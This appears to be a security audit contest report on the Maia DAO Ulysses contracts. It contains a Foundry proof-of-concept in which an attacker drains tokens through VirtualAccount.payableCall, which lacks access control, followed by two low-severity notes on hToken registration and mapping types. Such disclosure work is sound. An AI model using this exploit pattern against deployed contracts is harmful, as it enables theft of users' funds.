Maia DAO - Ulysses - its_basu's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85

Vulnerability details

Impact

Lack of proper access control like requiresApprovedCaller which is used in other functions of VirtualAccount can lead to funds getting stolen from the virtual account.

Proof of Concept.

I have coded a POC demonstrating the impact.

In this POC, I have

• set up a sample virtual account with a particular userAddress
• A sample ERC20 token (SMT). (I used ERC20Helper contract which is a basic implementation of an ERC20 contract.)
• Minted 100 SMT to the virtual account
• implemented payableCall() from attackerAddress passing data to call the SampleERC20 token's transfer function to simply transfer tokens to the attackerAddress.
• I made the attackerAddress steal 50 SMT tokens from the virtualAccount

//SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.16;

import "./helpers/ImportHelper.sol";
import {VirtualAccount} from "../../src/VirtualAccount.sol";
import {BranchPort} from "../../src/BranchPort.sol";
import {ERC20, IERC20} from "../../lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import {ERC20Helper} from "./helpers/ERC20Helper.sol"; // standard implementation of an ERC20 token.
import {PayableCall} from "../../src/interfaces/IVirtualAccount.sol";

contract TestingVirtualAccount is Test {

    // defining all the variables that will be used in this POC. 
    ERC20Helper sampleERC20;
    BranchPort branchPort;

    // initializing Owner's address and defining user and attacker's address. 
    address Owner = address(this);
    address userAddress;
    address attackerAddress;

    // defining our virtual account. 
    VirtualAccount virtualAccount;

    // defining array of PayableCall struct, this will be used as argument sent in the ' payableCall()' funciton. 
    PayableCall[] calls;

    function setUp() public {
        // deploying a basic sample ERC20 token
        sampleERC20 = new ERC20Helper("SampleToken", "SMT");

        // setting up the Branchport that will be needed as the construdtor argument for creating our virtual account. 
        branchPort = new BranchPort(Owner);

        // setting up user and attacker's address. 
        userAddress = vm.addr(1);
        attackerAddress = vm.addr(2);

        // creating a new virtual account.  
        virtualAccount = new VirtualAccount(userAddress, address(branchPort));

        // giving initial balance of 100 SMT token to the virtual account.  
        sampleERC20.mint(address(virtualAccount), 100e18);

        // giving some ether to the attacker to execute the payableCall function.  
        vm.deal(address(attackerAddress), 1 ether);
    }

    function testPerfromAttackingPayableCallOnVirtualAccount() public {
        
        // setting up the arguments that will be passed in the 'payableCall()' function
        // I am making the attacker steal 50 tokens of the SMT token. 
        // Also, I am sending 0 gas so the msg.value will also be 0. 

        PayableCall memory payableInfo = PayableCall(address(sampleERC20), abi.encodeWithSelector(IERC20.transfer.selector, address(attackerAddress), 50e18), 0);

        // pushing the data into our PayableCall[] array. 
        calls.push(payableInfo);

        // asserting that he attacker has 0 SMT tokens
        assertEq(sampleERC20.balanceOf(attackerAddress), 0);

        // starting the simulation from the attacker. 
        vm.startPrank(attackerAddress);

        // making the payableCall() from the attacker with necessary arguments
        virtualAccount.payableCall(calls);

        // ending the simulation 
        vm.stopPrank();
        
        // asserting that the virtual account now only has 50 SMT tokens from the initial balance of 100 while attacker has now 50 SMT tokens. 
        assertEq(sampleERC20.balanceOf(address(virtualAccount)),50e18);
        assertEq(sampleERC20.balanceOf(attackerAddress), 50e18);
    }
}

The output -

Running 1 test for test/ulysses-omnichain/TestingVirtualAccount.t.sol:TestingVirtualAccount
[PASS] testPerfromAttackingPayableCallOnVirtualAccount() (gas: 189957)
Traces:
  [189957] TestingVirtualAccount::testPerfromAttackingPayableCallOnVirtualAccount() 
    ├─ [2607] ERC20Helper::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
    │   └─ ← 0
    ├─ [0] VM::startPrank(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) 
    │   └─ ← ()
    ├─ [30139] VirtualAccount::payableCall([(0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f, 0xa9059cbb0000000000000000000000002b5ad5c4795c026514f8317c7a215e218dccd6cf000000000000000000000000000000000000000000000002b5e3af16b1880000, 0)]) 
    │   ├─ [27710] ERC20Helper::transfer(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF, 50000000000000000000 [5e19]) 
    │   │   ├─ emit Transfer(from: VirtualAccount: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], to: 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF, value: 50000000000000000000 [5e19])
    │   │   └─ ← true
    │   └─ ← [0x0000000000000000000000000000000000000000000000000000000000000001]
    ├─ [0] VM::stopPrank() 
    │   └─ ← ()
    ├─ [607] ERC20Helper::balanceOf(VirtualAccount: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall]
    │   └─ ← 50000000000000000000 [5e19]
    ├─ [607] ERC20Helper::balanceOf(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF) [staticcall]
    │   └─ ← 50000000000000000000 [5e19]
    └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 34.28ms
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Hence proving the vulnerability that comes with the lack of proper Access Control.

Additional Info

Not only ERC20 tokens but this lack of proper check also opens up multiple attacking options for the hackers.

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Simply add requiresApprovedCaller modifier to the VirtualAccount.payableCall() function.

Assessed type

Access Control

[01] Ensure a check for new local token that is being added in CoreBranchRouter.addLocalToken()

[02] Implement mappings correctly in RootBranchChain

[01] Ensure a check for new local token that is being added in CoreBranchRouter.addLocalToken()

Details

• To add a new local token for an underlying token _underlyingAddress the protocol has CoreBranchRouter.addLocalToken() which uses ERC20hTokenBranchFactory.createToken() to deploy a newToken which in turn appends hTokens array of ERC20hTokenBranchFactory with address of newToken.

   function addLocalToken(address _underlyingAddress, GasParams calldata _gParams) external payable virtual {
        //Get Token Info
        uint8 decimals = ERC20(_underlyingAddress).decimals();
        
        
        //Create Token
        ERC20hToken newToken = ITokenFactory(hTokenFactoryAddress).createToken(
            ERC20(_underlyingAddress).name(), ERC20(_underlyingAddress).symbol(), ERC20(_underlyingAddress).decimals(), true
        );
  
        //Encode Data
        bytes memory params = abi.encode(_underlyingAddress, newToken, newToken.name(), newToken.symbol(), decimals);
  
        // Pack FuncId
        bytes memory payload = abi.encodePacked(bytes1(0x02), params);
  
        
        //Send Cross-Chain request (System Response/Request)
        IBridgeAgent(localBridgeAgentAddress).callOutSystem{value: msg.value}(payable(msg.sender), payload, _gParams);
    }

• It then sends the information to root chain using BridgeAgent.callOutSystem packed with bytes1(0x02) at the beginning.

• the logic of BridgeAgent.callOutSystem performs a layer zero 'send' to the root chain with 0x00 at the start of the data.

function callOutSystem(address payable _refundee, bytes calldata _params, GasParams calldata _gParams)
        external
        payable
        override
        lock
        requiresRouter
    {
        //Encode Data for cross-chain call.
        bytes memory payload = abi.encodePacked(bytes1(0x00), depositNonce++, _params);

        //Perform Call
        _performCall(_refundee, payload, _gParams);
    }

function _performCall(address payable _refundee, bytes memory _payload, GasParams calldata _gParams)
        internal
        virtual
    {
        // Sends message to LayerZero messaging layer
        // audit - check whether the address(0) implementation is correct or not
        ILayerZeroEndpoint(lzEndpointAddress).send{value: msg.value}(
            rootChainId,
            rootBridgeAgentPath,
            _payload,
            payable(_refundee),
            address(0),
            abi.encodePacked(uint16(2), _gParams.gasLimit, _gParams.remoteBranchExecutionGas, rootBridgeAgentAddress)
        );
    }

• On the Root chain side, the logic for 0x00 message implementation is this

 function lzReceiveNonBlocking(address _endpoint, uint16 _srcChainId, bytes calldata _srcAddress, bytes calldata _payload
    ) public override requiresEndpoint(_endpoint, _srcChainId, _srcAddress) {
        // Deposit Nonce
        uint32 nonce;

        // DEPOSIT FLAG: 0 (System request / response)
        if (_payload[0] == 0x00) {
            // Parse deposit nonce
            nonce = uint32(bytes4(_payload[PARAMS_START:PARAMS_TKN_START]));

            // Check if tx has already been executed
            if (executionState[_srcChainId][nonce] != STATUS_READY) {
                revert AlreadyExecutedTransaction();
            }

            // Avoid stack too deep
            uint16 srcChainId = _srcChainId;

            // Try to execute remote request
            // Flag 0 - RootBridgeAgentExecutor(bridgeAgentExecutorAddress).executeSystemRequest(_localRouterAddress, _payload, _srcChainId)
            _execute(
                nonce,
                abi.encodeWithSelector(
                    RootBridgeAgentExecutor.executeSystemRequest.selector, localRouterAddress, _payload, srcChainId
                ),
                srcChainId
            );

• call to RootBridgeAgentExecutor.executeSystemRequest which calls to router

function executeSystemRequest(address _router, bytes calldata _payload, uint16 _srcChainId)
        external
        payable
        onlyOwner
    {
        //Try to execute remote request
        IRouter(_router).executeResponse(_payload[PARAMS_TKN_START:], _srcChainId);
    }

• finally Router calls an internal function _addLocalToken()

function executeResponse(bytes calldata _encodedData, uint16 _srcChainId)
        external
        payable
        override
        requiresExecutor
    {
        // Parse funcId
        bytes1 funcId = _encodedData[0];

        ///  FUNC ID: 2 (_addLocalToken)
        if (funcId == 0x02) {
            (address underlyingAddress, address localAddress, string memory name, string memory symbol, uint8 decimals)
            = abi.decode(_encodedData[1:], (address, address, string, string, uint8));

            _addLocalToken(underlyingAddress, localAddress, name, symbol, decimals, _srcChainId);

            /// FUNC ID: 3 (_setLocalToken)
        } 
      // .... rest of the code 

• Finally the logic for _addLocalToken is as follows

function _addLocalToken(
        address _underlyingAddress,
        address _localAddress,
        string memory _name,
        string memory _symbol,
        uint8 _decimals,
        uint16 _srcChainId
    ) internal {
        // Verify if the underlying address is already known by the branch or root chain
        if (IPort(rootPortAddress).isGlobalAddress(_underlyingAddress)) revert TokenAlreadyAdded();
        if (IPort(rootPortAddress).isLocalToken(_underlyingAddress, _srcChainId)) revert TokenAlreadyAdded();
        if (IPort(rootPortAddress).isUnderlyingToken(_underlyingAddress, _srcChainId)) revert TokenAlreadyAdded();

        //Create a new global token
        address newToken = address(IFactory(hTokenFactoryAddress).createToken(_name, _symbol, _decimals));

        // Update Registry
        IPort(rootPortAddress).setAddresses(
            newToken, (_srcChainId == rootChainId) ? newToken : _localAddress, _underlyingAddress, _srcChainId
        );
    }

Result

Now, as it is clearly visible that this logic is checking whether the localToken for a particular _underlyingAddress on a specific _srcChainId is already set and rightfully reverts if that's the case

My point is that the situation is reverted on the "root chain" side but nothing is done for reverting it on the "branch chain side"

What I mean is that nothing is done to remove newToken address from hToken array of ERC20hTokenBranchFactory.

Impact

• This can create unnecessary confusion on the "branch side" with hToken array containing addresses that aren't even recognized by the "root chain"

• There are unnecessary hTokens with which users can interact and that will result in unexpected outcomes for them.

Recommendation

• Have a record of unerlying token to their htokens on the "branch" chain side as well with a simple mapping

  mapping(address underLyingToken => address hToken) underLyingTokenToHtokens

• Have it on the BranchPort
• And Finally implement this check everytime a new local token is being created.

[02] Implement mappings correctly in RootBranchChain

Details

if we look closely at these mappings defined in the RootBranchChain

    /// @notice ChainId -> Local Address -> Global Address
    mapping(address chainId => mapping(uint256 localAddress => address globalAddress)) public getGlobalTokenFromLocal;

    /// @notice ChainId -> Global Address -> Local Address
    mapping(address chainId => mapping(uint256 globalAddress => address localAddress)) public getLocalTokenFromGlobal;

    /// @notice ChainId -> Underlying Address -> Local Address
    mapping(address chainId => mapping(uint256 underlyingAddress => address localAddress)) public getLocalTokenFromUnderlying;

    /// @notice Mapping from Local Address to Underlying Address.
    mapping(address chainId => mapping(uint256 localAddress => address underlyingAddress)) public
getUnderlyingTokenFromLocal;

Their code comments wanted them to be uint chain -> Address -> Address, but these implementation are in the form Address -> uint chainID -> Address and even in the naming convention we can clearly see that there's a slight mistake, it should have been uint chainId instead of address chainId and address localAddress / address globalAddress instead of uint256 localAddress.

Impact

There's no harmful consequences to these as the code works well but it can be confusing for the readers or developers who want to build their protocol on top of these contracts.

Suggestion

Just simply implement it in the way as it is in the code comments and re-test it.